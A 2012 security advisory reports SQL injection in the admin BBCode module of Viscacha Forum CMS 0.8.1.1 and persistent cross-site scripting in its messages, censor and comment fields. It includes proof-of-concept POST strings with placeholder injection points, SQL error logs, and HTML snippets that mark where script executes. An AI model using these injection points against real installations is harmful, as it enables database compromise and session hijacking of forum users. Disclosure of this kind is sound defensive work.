Title:
======
Viscacha Forum CMS v0.8.1.1 - Multiple Web Vulnerabilities
Date:
=====
2012-05-08
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=525
VL-ID:
=====
525
Common Vulnerability Scoring System:
====================================
7.3
Introduction:
=============
Viscacha is a free bulletin board system with an integrated CMS. The intention of the software engineers
is to combine the current standards with new and user friendly features. The system supports packages for
easily extending the core system. Viscacha is a free bulletin board system with an integrated content
management system. The intention of the software engineers is to combine the current standards with new
and user friendly features. The system supports packages (plugins and components) for easily extending the
core system. Viscacha uses an database abstraction layer to support as many databases as possible. With
this software you can easily set up a complete (personal) homepage. The CMS extends the bulletin board
system to have a homepage which is connected to the community.
(Copy of the vendor Homepage: http://www.viscacha.org )
Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in Viscacha Bulletin Board CMS v0.8.1.1.
Report-Timeline:
================
2012-05-08: Public or Non-Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
1.1
A remote SQL Injection vulnerability (POST) is detected in Viscacha Bulletin Board CMS v0.8.1.1.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands
on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
The vulnerability is located on the bbcode module of the forum application.
Vulnerable Module(s):
[+] BBCode - Tags & BB-Code | Change or Example
--- SQL Exception Logs ---
Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ` at line 1
File: /home/opencms/public_html/demo/viscacha/admin/bbcodes.php on line 1164
Query: SELECT * FROM v_bbcode WHERE bbcodetag = `sd`AND twoparams = `0`AND in
/home/server/public_html/cms/viscacha/classes/database/mysql.inc.php on line 151
Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ` at line 1
File: /home/server/public_html/cms/viscacha/admin/bbcodes.php on line 1164
Query: SELECT * FROM v_bbcode WHERE bbcodetag = `sd` AND twoparams = `0` AND in
/home/opencms/public_html/demo/viscacha/classes/database/mysql.inc.php on line 151
Fatal error: DB ERROR 1064: You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near` at line 1
File: /home/server/public_html/cms/viscacha/admin/bbcodes.php on line 1164
Query: SELECT * FROM v_bbcode WHERE bbcodetag = `-1`AND twoparams = `0` AND in
/home/server/public_html/cms/viscacha/classes/database/mysql.inc.php on line 151
Picture(s):
../1.png
../2.png
1.2
Multiple persistent input validation vulnerabilities is detected in Viscacha Bulletin Board CMS v0.8.1.1.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin/user) or stable (persistent)
context manipulation. Exploitation requires low user inter action.
Vulnerable Module(s):
[+] Private Messages System - Text Input Field
[+] Zensur - Bad Word Input Field
[+] Kommentar - Portal Input Field Text & Topic
Picture(s):
../3.png
../4.png
Proof of Concept:
=================
1.1
The sql injection vulnerability can be exploited by remote attackers without user inter action.
For demonstration or reproduce ...
PoC: POSTDATA
title=say&bbcodetag=-1%27&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27[SQL-INJECTION]&bbcodeexplanation=-1%27&twoparams=0&buttonimage=-1%27
... or
title=say&bbcodetag=-1%27&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27&bbcodeexplanation=-1%27&twoparams=0&buttonimage=[SQL-INJECTION]
... &
title=say&bbcodetag=-1%27[SQL-INJECTION]&bbcodetag_old=s&bbcodereplacement=-1%27&bbcodeexample=-1%27&bbcodeexplanation=-1%27&twoparams=0&buttonimage=-1%27
1.2
The persistent input validation vulnerabilities can be exploited by remote attackers with low required user inter action.
For demonstration or reproduce ...
Review: Zensur - Bad Word & Listing
<td class="mbox" width="45%">​​​​​">​​​​​<[EXECUTION OF SCRIPT CODE HERE!]' <<="" td="">
</tr>
<tr>
<td class="ubox" width="100%" colspan=3 align="center"><input type="submit" name="Submit"
value="Lschen"></td>
</tr>
</table>
</form>
<br>
<form name="form"
method="post" action="admin.php?action=bbcodes&job=add&tp=censor">
<table class="border">
<tr>
<td class="obox" colspan=2>Wort hinzufgen</b></td>
</tr>
<tr>
<td class="mbox" width="30%">Wort:<br /><span class="stext">Maximal 200 Zeichen</span></td>
<td class="mbox" width="70%"><input type="text" name="temp1" size="70"></td>
</tr>
<tr>
<td class="mbox" width="30%">Zensiertes Wort:<br /><span class="stext">
Maximal 255 Zeichen</span></td>
<td class="mbox" width="70%"><input type="text" name="temp2"
size="70"></td>
</tr>
<tr>
<td class="ubox" colspan="2" align="center"><
input type="submit" name="Submit" value="Hinzufgen"></td>
</tr>
</table>
</form>
<br style="line-height: 8px;" />
<div class="stext center">[Generiert in 0.00224 Sekunden]
[Datenbankabfragen: 2]</div>
<div id="copyright">
Powered by <strong><a href="http://www.viscacha.org" target="_blank">Viscacha 0.8.1.1</a></strong>
<br />Copyright 2004-2009, The Viscacha Project
<img src="cron.php" width="0" height="0" alt="" />
</div>
</body>
</html>
</iframe></td>
URL: http://127.0.0.1:8080/viscacha/admin.php?action=bbcodes&job=censor
Review: PN Message Preview
<br class="newinput"><hr class="formsep">
<label for="topic">Titel:</label>
<input tabindex="2000" id="topic" class="label" name="topic" size="30" value=""
type="text"><[INJECT SCRIPT CODE HERE!] <"="">
<br class="newinput"
/><hr class="formsep" />
<
URL: http://127.0.0.1:8080/viscacha/pm.php
... or
Review: PN Message Preview - Arrived Message - Inbox
<div class="bbody">
<span class="stext">​​​​​Betreff:
<strong>"><[EXECUTION OF SCRIPT CODE HERE!] <</strong>
</span>
<hr>
"><[EXECUTION OF SCRIPT CODE HERE!] '
<<br="" class="iefix_left">
</div>
</div>
<noscript><br />
<div class="popup_noscript">
<a name="generallinks"></a><strong>Verschiedene Links</strong>
<ul>
URL: http://127.0.0.1:8080/viscacha/pm.php
Review: Kommentare - Comments Input/Output
<input id="membersuggest_val" tabindex="1" onkeyup="ajax_searchmember(this.value, key(event))"
onblur="ajax_searchmember(this.value)" name="name" size="40" value=""><
[EXECUTION OF SCRIPT CODE HERE!] <" type="text">
<br><span class="stext" id="membersuggest">
</span>
</div>
<br class="newinput"><hr class="formsep">
<label for="topic">Titel:</label>
... or
<input tabindex="2000" id="topic" class="label" name="topic" size="30" value="" type="text">
<iframe src="a"[INJECT OF SCRIPT CODE HERE!] ' <"="">
<br class="newinput" /><hr class="formsep" />
<label
Risk:
=====
1.1
The security risk of the sql injection vulnerability is estimated as high(-).
1.2
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
Credits:
========
Vulnerability Laboratory [Research Team]
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===========
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